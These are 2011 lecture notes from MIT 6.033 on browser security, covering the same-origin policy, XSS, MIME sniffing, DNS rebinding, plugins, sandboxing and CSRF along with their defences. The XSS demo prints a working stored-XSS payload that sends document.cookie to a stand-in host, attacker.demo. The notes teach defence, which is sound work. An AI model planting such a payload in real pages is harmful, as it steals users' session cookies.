6.033 2011 Lecture 23: Browser security

how does a web browser work?  (incomplete, slightly out-of-date w/ HTML5..)
  user enters a URL or clicks on a link.
  browser looks up server's IP via DNS.
  browser connects, sends HTTP request.
  server responds with data and headers (e.g., document type, ..)
  browser parses data (assuming it's HTML), loads any sub-objects.
    images, frames, etc.

  want to identify users.
    browsers support "cookies": a set of key-value pairs for each web site.
    e.g., from last lecture, cookies can store session authentication data.
    cookie often set by server, in response to the user supplying password.
    browser includes all cookies when sending an HTTP request.

  want more dynamic things in the browser.
    browser executes Javascript code specified in the page.
    <SCRIPT> tags, attributes like <A onClick="...">.
  Javascript code can interact with page, represented by Javascript objects.
    called the Document Object Model (DOM).
    can read page contents, modify it, inject more Javascript code, etc.
    can read and modify the cookie.
  Javascript code can also interact with the network (issue HTTP requests).
    browser always attaches cookies to an HTTP request.

  [ demo: http://zoobar.demo/zoobar/index.php
          log in as nickolai, click on users, search for nickolai's profile.
          show javascript code that updates the DOM. ]
  this lecture: malicious web sites should not be able to do "bad things".

what might we want to prevent a malicious web site from doing?
  affecting another site: stealing cookies, modifying DOM, reading data, ..
  abusing browser's network: sending spam, scanning internal network, ..
  accessing other files on the user's computer.

how does a browser control what the Javascript code is doing?
  Javascript code interpreted by browser's Javascript engine.
  all interactions with the rest of the system are mediated by browser.
    type-safe language: code cannot ask to modify arbitrary memory locations.
    to understand external effects, examine "native" functions, objects.
    functions, objects defined purely in JS have no direct external effects.
    to isolate different web pages, need authorization scheme for JS objects.

what is the policy that the browser enforces?
  typically called the same-origin policy (SOP).
  origin is a triple <protocol, server, port>, e.g., <http, www.google.com, 80>
  principals are origins (i.e., Javascript code runs as some principal/origin).
  objects are associated with origins as well.
    cookies are associated with a particular origin.
    pages / frames have an origin (where the page came from).
  in our terminology:
    protected resources are cookies, page DOM, Javascript objects, network, ..
    client is the Javascript code.
    guard is the browser implementing the Javascript runtime.
    authentication: page containing the code came from origin's server.
    authorization: object is from the same origin as the requesting principal.
      e.g., cookie or page from same origin; HTTP request to same origin server.
      things are more complicated in reality (capability access to JS objects).

what should the threat model be?
  attacker controls several web sites and domains (e.g., attacker.com).
  attacker's web sites are opened in the victim's browser.
    why is this reasonable?
  browser's Javascript runtime has no bugs. [ to be discussed later ]
  server is implemented "correctly".        [ to be discussed later ]

what does the SOP allow?
  multiple pages on the same web server are not protected from one another.
    can access the same cookie (e.g., for http://web.mit.edu:80/).
    can modify each other's DOM state.
    can all talk to the same origin server.
  multiple pages from different origins are protected from each other.
    e.g., page from web.mit.edu cannot access cookie from google.com.
    however, one origin can still interact with other origins in some ways.
      create links to URLs corresponding to another origin.
      load URLs from another origin in a new page / frame.
      load images from another origin: <IMG SRC=...>
      load Javascript code from another origin: <SCRIPT SRC=...>
    what principal should we assign to code from another origin?
      in SOP, code runs under the origin of the containing page.
      plausible: containing page included the <SCRIPT SRC=...> tag.
      running with code's origin would be somewhat tricky.
        single namespace (e.g., page-global variables, function names, ..)
        not clear what origin should own this namespace resource, then.

what has to go right for SOP to work?
  need to identify the origin that code came from.
  need to identify the origin associated with every resource.
  need to mediate every resource access, check if origins match.
  details matter a lot, and they're hard to get right..

assumption 1: browser can properly identify the origin for a piece of code.

adversary can trick server into sending Javascript code to the browser.
  web server's HTTP response can sometimes include part of the request.
  if the request includes Javascript code, then the response might also.
  adversary steps to run JS code in victim's browser under some site's origin:
    construct HTTP req to site that causes server to reply with desired JS code.
    get victim's browser to issue that HTTP request.
    result: victim's browser runs desired JS code in that site's origin.
    can now access victim's cookie, DOM state, etc for that site's origin.
  attack is typically called cross-site scripting (XSS).
  [ demo: in another browser, eve logs in, edits profile to contain:
      <div id="x" />
      <script>
      document.getElementById("x").innerHTML = "<img src=http://attacker.demo/"+document.cookie+">";
      </script>
    now nickolai views eve's profile.  right-click to inspect image element. ]
  bad design: privileges implicitly granted to all code (authentication step).
  principle: be explicit (e.g., server explicitly lists all Javascript code).
  how to fix?  server must be very careful about sending back any HTML..
    quite difficult in practice, especially with complex user-editable pages.

another variation: how do web servers / browsers determine if a page is HTML?
  in theory, HTTP includes a Content-Type header (text/html for HTML).
  in practice, some servers send back incorrect Content-Type headers.
  as a result, many browsers try to guess the content type.
    e.g., look for <HTML or other tags as an indication of an HTML document.
  thus, server might think the document is perfectly legitimate non-HTML doc.
    e.g., starts with GIF8, or %PDF-, or %!PS-
    even send it back with the correct Content-Type header
  when it serves it to another browser, browser thinks it's HTML, runs JS.
    [ ref: http://bitblaze.cs.berkeley.edu/papers/mimesniff_oakland09.pdf ]
  security depends on whether something _looks_ like HTML or not?
  principle: be explicit.  do not guess security-relevant properties.

assumption 2: browser can properly identify the origin for every resource.

network: when is it OK to issue an HTTP request to some IP address?
  same-origin answer: if JS code supplies URL matching its origin.
  problem: URL's hostname is mapped to IP address by attacker's DNS server.
  adversary can change IP addr in DNS between when page loads & issues req.
  typically called a DNS rebinding attack.
    victim visits http://attacker.com/.
    attacker's page contains some Javascript that first sleeps for a short time.
    meanwhile, attacker.com's IP addr changed to some journal MIT subscribes to.
    now, attacker's page sends HTTP reqs to journal as http://attacker.com/...
    same-origin policy still allows this; journal allows requests from MIT.
  solution: pin hostname-to-IP mappings while a page is loaded.
    not great, since it prevents DNS-based fail-over.

assumption 3: browser provides complete mediation.
  are all Javascript operations subject to the same-origin policy checks?

Flash plugin: slightly different policy.
  any site can execute Flash code in browser, e.g. using an <OBJECT> tag.
  special XML tag in any server page specifies the security policy for code.
  web sites unaware of Flash's special tag vulnerable to XSS-like attack.
  similar problem with other plugins (e.g., Silverlight).
  principle: economy of mechanism.

browser bugs: buffer overflows.
  bug in Javascript interpreter can allow malicious JS code to escape browser.
  better design: Chromium, runs a separate interpreter process for each window.
    each interpreter process runs without access to user's local files, etc.
    (need some OS support to do this.)
  principle: least privilege.

[ skipped material below in lecture ]

assumption 4: same-origin policy captures the desired security goals.
  Javascript code can inspect DOM for pages from the same origin,
    including attributes of text like color.
  visited links might look different (different color, size, etc).
  result: malicious page can tell what sites you've visited.
  fix: complex rules for accessing color of a link, setting properties, etc.
    e.g., visited links cannot be different font size now.
    otherwise, adversary can detect a larger/smaller overall page size!
  [ http://blog.mozilla.com/security/2010/03/31/plugging-the-css-history-leak/ ]

cookies: adversary can ask browser to send HTTP request to another server.
  browser loads the specified URL, using cookies for URL's origin.
  naive server gets request with user's cookie, performs operation.
  browser tricked into issuing request on user's behalf, server performs it.
  attack is typically called cross-site request forgery (CSRF).
  [ demo: in nickolai's browser, load http://attacker.demo/attack.html,
          then go back to http://zoobar.demo/zoobar/; where did zoobars go?
          view source of attacker's page.. ]

  problem: cookies aren't enough to authenticate that request came from user.
    hard to prevent cookies from being sent, for usability reasons.
    e.g., users want to use cookies when clicking on links.
  typical solution: change server to require more than just a cookie.
    include a secret per-user token in each link generated by server.
      e.g., http://zoobar.demo/zoobar/transfer.php?...&token=(secret)
    verify cookie and token for each request.
    if adversary cannot obtain or guess token, cannot trick browser/server.
    SOP stops adversary from reading another origin's DOM/page to get token.